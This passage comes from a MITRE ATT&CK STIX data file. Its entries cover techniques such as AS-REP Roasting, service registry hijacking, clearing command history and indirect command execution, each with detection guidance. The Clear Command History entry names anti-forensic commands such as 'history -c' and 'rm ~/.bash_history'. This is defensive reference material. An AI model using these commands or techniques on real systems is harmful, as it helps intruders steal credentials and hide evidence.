2021.","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:32:07.850Z","name":"AS-REP Roasting","description":"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Yossi Nisani, Cymptom","James Dunn, @jamdunnDFW, EY","Swapnil Kumbhar","Jacques Pluviose, @Jacqueswildy_IT","Dan Nutting, @KerberToast"],"x_mitre_deprecated":false,"x_mitre_detection":"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Active Directory: Active Directory Credential Request"],"x_mitre_system_requirements":["Valid domain account"],"type":"attack-pattern","id":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","created":"2020-08-24T13:43:00.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1558/004","external_id":"T1558.004"},{"source_name":"Microsoft Detecting Kerberoasting Feb 2018","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"},{"source_name":"Harmj0y Roasting AS-REPs Jan 2017","description":"HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.","url":"https://blog.harmj0y.net/activedirectory/roasting-as-reps/"},{"source_name":"Stealthbits Cracking AS-REP Roasting Jun 2019","description":"Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.","url":"https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/"},{"source_name":"SANS Attacking Kerberos Nov 2014","description":"Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.","url":"https://redsiege.com/kerberoast-slides"},{"source_name":"AdSecurity Cracking Kerberos Dec 2015","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","url":"https://adsecurity.org/?p=2293"},{"source_name":"Microsoft 4768 TGT 2017","description":"Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768"},{"source_name":"Microsoft Kerberos Preauth 2014","description":"Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.","url":"https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427","type":"attack-pattern","created":"2017-05-31T21:30:49.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1058","url":"https://attack.mitre.org/techniques/T1058"},{"external_id":"CAPEC-478","source_name":"capec","url":"https://capec.mitre.org/data/definitions/478.html"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx","description":"Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.","source_name":"MSDN Registry Key Security"},{"source_name":"TrustedSignal Service Failure","url":"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html","description":"Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."},{"url":"https://twitter.com/r0wdy_/status/936365549553991680","description":"The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.","source_name":"Twitter Service Recovery Nov 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-03-19T15:12:13.034Z","name":"Service Registry Permissions Weakness","description":"Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_system_requirements":["Ability to modify service values in the Registry"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","type":"attack-pattern","created":"2020-10-01T00:55:17.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1584.003","url":"https://attack.mitre.org/techniques/T1584/003"},{"source_name":"NSA NCSC Turla OilRig","url":"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf","description":"NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}],"modified":"2021-10-17T15:59:02.770Z","name":"Virtual Private Server","description":"Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content","Internet Scan: Response Metadata"]},{"modified":"2024-04-28T15:58:48.119Z","name":"AutoHotKey & AutoIT","description":"Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["TruKno","Liran Ravich, CardinalOps","Serhii Melnyk, Trustwave SpiderLabs","Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International","@_montysecurity"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","created":"2024-03-29T18:07:04.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/010","external_id":"T1059.010"},{"source_name":"AutoHotKey","description":"AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved March 29, 2024.","url":"https://www.autohotkey.com/docs/v1/Program.htm"},{"source_name":"AutoIT","description":"AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024.","url":"https://www.autoitscript.com/autoit3/docs/intro/running.htm"},{"source_name":"Splunk DarkGate","description":"Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.","url":"https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8","type":"attack-pattern","created":"2020-10-19T19:03:48.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1600.001","url":"https://attack.mitre.org/techniques/T1600/001"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-21T22:36:22.369Z","name":"Reduce Key Space","description":"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2024-02-14T20:07:44.756Z","name":"Clear Command History","description":"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Vikas Singh, Sophos","Emile Kenning, Sophos","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.5","x_mitre_data_sources":["Process: Process Creation","File: File Deletion","File: File Modification","Command: Command Execution","User Account: User Account Authentication"],"x_mitre_defense_bypassed":["Host forensic analysis","Log analysis"],"type":"attack-pattern","id":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","created":"2020-01-31T12:32:08.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/003","external_id":"T1070.003"},{"source_name":"Sophos PowerShell command audit","description":"jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.","url":"https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"},{"source_name":"Microsoft PowerShell Command History","description":"Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"},{"source_name":"Sophos PowerShell Command History Forensics","description":"Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.","url":"https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-03T14:47:17.154Z","name":"Indirect Command Execution","description":"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Matthew Demaske, Adaptforward","Liran Ravich, CardinalOps"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Static File Analysis","Application Control"],"type":"attack-pattern","id":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1202","external_id":"T1202"},{"source_name":"Bleeping Computer - Scriptrunner.exe","description":"Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.","url":"https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/"},{"source_name":"Evi1cg Forfiles Nov 2017","description":"Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.","url":"https://x.com/Evi1cg/status/935027922397573120"},{"source_name":"RSA Forfiles Aug 2017","description":"Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.","url":"https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe"},{"source_name":"Secure Team - Scriptrunner.exe","description":"Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.","url":"https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/"},{"source_name":"SS64","description":"SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.","url":"https://ss64.com/nt/scriptrunner.html"},{"source_name":"VectorSec ForFiles Aug 2017","description":"vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.","url":"https://x.com/vector_sec/status/896049052642533376"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d","type":"attack-pattern","created":"2017-05-31T21:30:31.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1024","url":"https://attack.mitre.org/techniques/T1024"},{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"},{"url":"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf","description":"Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.","source_name":"Fidelis DarkComet"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-07-20T21:57:36.046Z","name":"Custom Cryptographic Protocol","description":"Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Netskope"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c","type":"attack-pattern","created":"2019-09-04T14:37:07.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"external_id":"T1536","source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1536"},{"source_name":"Tech Republic - Restore AWS Snapshots","url":"https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/","description":"Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."},{"source_name":"Google - Restore Cloud Snapshot","url":"https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots","description":"Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."}],"modified":"2021-03-08T10:33:01.527Z","name":"Revert Cloud Instance","description":"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2023-10-17T20:42:21.453Z","name":"Replication Through Removable Media","description":"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable 